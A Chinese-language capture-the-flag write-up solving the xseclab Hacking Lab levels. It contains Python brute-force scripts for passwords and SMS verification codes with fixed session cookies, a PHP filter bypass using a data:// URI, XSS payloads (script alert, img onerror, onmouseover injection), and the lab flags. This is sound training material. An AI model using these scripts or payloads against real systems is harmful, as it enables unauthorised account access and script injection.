第一关
bp抓包,send直接获得key yougotit_script_now
第二关
明显需要写脚本,源代码如下
import requests
from lxml import etree
import re
import urllib.parse
from bs4 import BeautifulSoup
# print(response.read().decode('utf-8'))
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s = requests.session()
response = s.get(url)
print(response.text)
caculate = str(re.findall('(.*?)=<input type="text" name="v"/>',response.text))
caculate = caculate.split()[1].split('\'')[0]
caculate = eval(caculate)
data = {"v": caculate}
a = s.post(url, data=data).content.decode('utf-8')
print(a)
获得key 123iohHKHJ%^&*(jkh
第三关
题目提示什么才是空的?
明显空就是null
第四关
查看页面源代码,发现js部分代码有问题
随后将其复制到本地,按照下图修改之后在本地运行
输入key 的时候,去除开头的chars
第五关
尝试抓包,发现同一个验证码可以多次登录,因此保持session不变强行爆破password,源代码如下:
import re
import requests
s=requests.session()
url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
head = {'cookie': 'PHPSESSID=828c96a699987493ec6c55fab5795f63'}
for num in range(1000,10000):
data = {'username':'admin',
'pwd':num,
'vcode':'C8Qc',
'submit':'submit'}
res=s.post(url,data=data,headers=head).content.decode('utf-8')
if 'pwd error' in res:
print (' pwd error')
if 'vcode error' in res:
print('vcode error')
if 'error' not in res:
print(num)
print(res)
break
获得登录密码1238
key is LJLJL789sdf#@sd
第六关
直接将第五关的代码中vcode参数值修改为'',即可
获得密码1228
key is LJLJL789ss33fasvxcvsdf#@sd
第七关
和第五关类似,不多说
第八关
点击“源代码”查看页面源代码
可以看见其笑脸符号是(●'◡'●)
而其参数名称是^_^
且其中包含各种绕过:
1.必须对^^赋值 2.参数中不能有 . % [0-9] http https ftp telnet 这些东西 3.^^输入的值)这个字符串不能有 _ 这个字符(与1矛盾) 4.^_^必须是文件 5.file_exists ($GET[‘^^’])必须为0.也就是$GET[‘^^’]此文件不在本地存在 6.file_get_contents($*GET[‘^^])必须为”(●’◡’●)” 仔细分析可以发现,第3点与第1点矛盾了,既要对”^^”赋值,又得想办法去掉”^^”中的””,那么可以采用Url编码变为”%5f”.这样第3点就满足了.所以我们输入就应该为”^%5f^”.继续分析第2点,这个地方把 http https ftp telnet 这些给过滤了,而第6点又要通过file_get_contents()取出$GET[‘^^’]里的值.而根据第5点,$GET[‘^^’]又必须不存在.所以$GET[‘^^’]只能是字符串”(●’◡’●)”,不可能是文件名.那么file_get_contents()里的参数应该是啥呢.查了一下,发现data://完美符合.所以我们输入就应该为”^%5f^=data:,(●’◡’●)” 另外对于3绕过还有方法:在URL中和.等价所以参数为^.^
而赋值时不可有下划线,所以使用%5f代替
获得key hkjasfhsa*&IUHKUH
data协议
Data URI 的格式十分简单,如下所示:
data:[<mime type>][;charset=<charset>][;base64],<encoded data>
第一部分是 data: 协议头,它标识这个内容为一个 data URI 资源。 第二部分是 MIME 类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。 第三部分是编码设置,默认编码是 charset=US-ASCII, 即数据部分的每个字符都会自动编码为 %xx
第九关
直接测试可以发现弹出的验证码可以直接用于登录账号13388886667
key is LJLJLGod!@@sd
第十关
直接爆破,源代码如下:
import requests
s=requests.session()
url = "http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php"
head = {'cookie': 'PHPSESSID=403d7d5c26f7ce9c3d319907de81cb76'}
for num in range(100, 1000):
data = {'username':'13388886666',
'vcode':str(num),
'submit':'submit'}
res=s.post(url,data=data,headers=head).content.decode('utf-8')
if res != 'vcode or username error':
print(res)
break
并没有直接获得key
将得到的手机号以同样的方式进行爆破
得到key LKK8*(!@@sd
第十一关
未成功
第十二关
点击子系统后点击题目登录,之后进入index.php界面
查看页面源代码,之后点击进入xss_check.php
可以看见alert(HackingLab),提交
<script>alert(HackingLab)</script>
即可得到key is: myxssteststart!
第十三关
可以发现和上一关类似,但是提交相同的脚本会被检测出来
于是换一种方式,提交
<img src=# onerror=alert(HackingLab) />
得到key is: xss2test2you
第十四关
通过测试可以看到,页面过滤了大部分标签包括但不限于< <img > <script>等
经过测试,发现仅有当value='alert'的时候才不会被过滤,发现使用单引号闭合之后可以使单引号之前的内容显示出来
alert' οnmοuseοver='alert(HackingLab) #onmouseover:鼠标位于其上方时触发事件
可以触发事件
得到key is: xss3test2youOK_striptag
第十五关